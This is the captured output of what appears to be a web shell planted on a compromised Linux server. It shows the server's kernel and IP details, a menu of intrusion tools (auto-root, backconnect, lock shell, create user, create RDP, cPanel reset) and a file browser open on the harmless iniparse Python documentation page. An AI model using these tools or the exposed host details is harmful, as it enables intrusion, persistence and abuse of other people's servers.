Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.117.8.177
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python-iniparse-0.4 /
[ HOME SHELL ]
Name
Size
Permission
Action
Changelog
2.7
KB
-rw-r--r--
LICENSE
1.55
KB
-rw-r--r--
LICENSE-PSF
12.8
KB
-rw-r--r--
README
1.19
KB
-rw-r--r--
index.html
4.89
KB
-rw-r--r--
style.css
1.67
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.html
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>iniparse</title> <style type="text/css" title="stylesheet"> @import "style.css"; </style> <link rel="SHORTCUT ICON" href="http://www.python.org/pics/pyfav.gif" /> </head> <body> <div id="title"> <h1 style="font-family: monospace">iniparse</h1> <p>Better INI parser for Python</p> </div> <div class="box"> <div class="boxtitle">Introduction</div> <div class="boxitem"> <p><code>iniparse</code> is a INI parser for <a href="http://www.python.org/">Python</a> which is:</p> <ul> <li><b>Compatible with <code> <a href="http://docs.python.org/lib/module-ConfigParser.html">ConfigParser</a></code></b>: Backward compatible implementations of <code>ConfigParser</code>, <code>RawConfigParser</code>, and <code>SafeConfigParser</code> are included that are API-compatible with the Python standard library.</li> <li><b>Preserves structure of INI files</b>: Order of sections & options, indentation, comments, and blank lines are preserved as far as possible when data is updated.</li> <li><b>More convenient</b>: Values can be accessed using dotted notation (<code>cfg.user.name</code>), or using container syntax (<code>cfg['user']['name']</code>).</li> <li><b>Extensible</b>: It is possible to add other configuration formats, and to convert between different formats (as long as the data models are compatible).</li> </ul> <p>It is very useful for config files that are updated both by users and by programs, since it is very disorienting for a user to have her config file completely rearranged whenever a program changes it. iniparse also allows making the order of entries in a config file significant, which is desirable in applications like image galleries.</p> <p><b>Website</b>: <a href="http://code.google.com/p/iniparse/" >http://code.google.com/p/iniparse/</a></p> </div> </div> <div class="box"> <div class="boxtitle">Examples</div> <div class="boxitem"> <b>New API:</b> <ul> <li>Open an INI file: <pre> >>> from iniparse import INIConfig >>> cfg = INIConfig(file('options.ini')) </pre> </li> <li>Access/Modify data: <pre> >>> print cfg.playlist.expand_playlist True >>> print cfg.ui.width 150 >>> cfg.ui.width = 200 >>> print cfg['ui']['width'] 200 </pre> </li> <li>Print data: <pre> >>> print cfg [playlist] expand_playlist = True [ui] display_clock = True display_qlength = True width = 200 </pre> </li> </ul> <b>Backward Compatible API:</b> <ul> <li>The entire ConfigParser API is supported. This is just a brief example: <pre> >>> from iniparse import ConfigParser >>> cfgpr = ConfigParser() >>> cfgpr.read('options.ini') >>> print cfgpr.get('ui', 'width') 150 >>> cfgpr.set('ui', 'width', 175) </pre> </li> <li>The new API can also be accessed via backward-compatible objects: <pre> >>> print cfgpr.data.playlist.expand_playlist True >>> cfgpr.data.ui.width = 200 >>> print cfgpr.data.ui.width 200 </pre> </li> </ul> <b>A non-INI example:</b> <ul> <li>A simple dotted format is also implemented: <pre> >>> from iniparse import BasicConfig >>> n = BasicConfig() >>> n.x = 7 >>> n.name.first = 'paramjit' >>> n.name.last = 'oberoi' >>> print n.x 7 >>> print n.name.first 'paramjit' >>> print n name.first = paramjit name.last = oberoi x = 7 </pre> </li> <li>Convert to INI: <pre> >>> from iniparse import INIConfig >>> i = INIConfig() >>> del n.x # since INI doesn't support top-level values >>> i.import_config(n) >>> print i [name] first = paramjit last = oberoi </pre> </li> </ul> </div> <!-- div class="boxitem"> <p>For more information, see the automatically generated <a href="iniparse.html">API documentation</a>.</p> </div --> </div> <div id="footer"> <p> Updated on 15 July 2007 </p> </div> </body> </html>
Close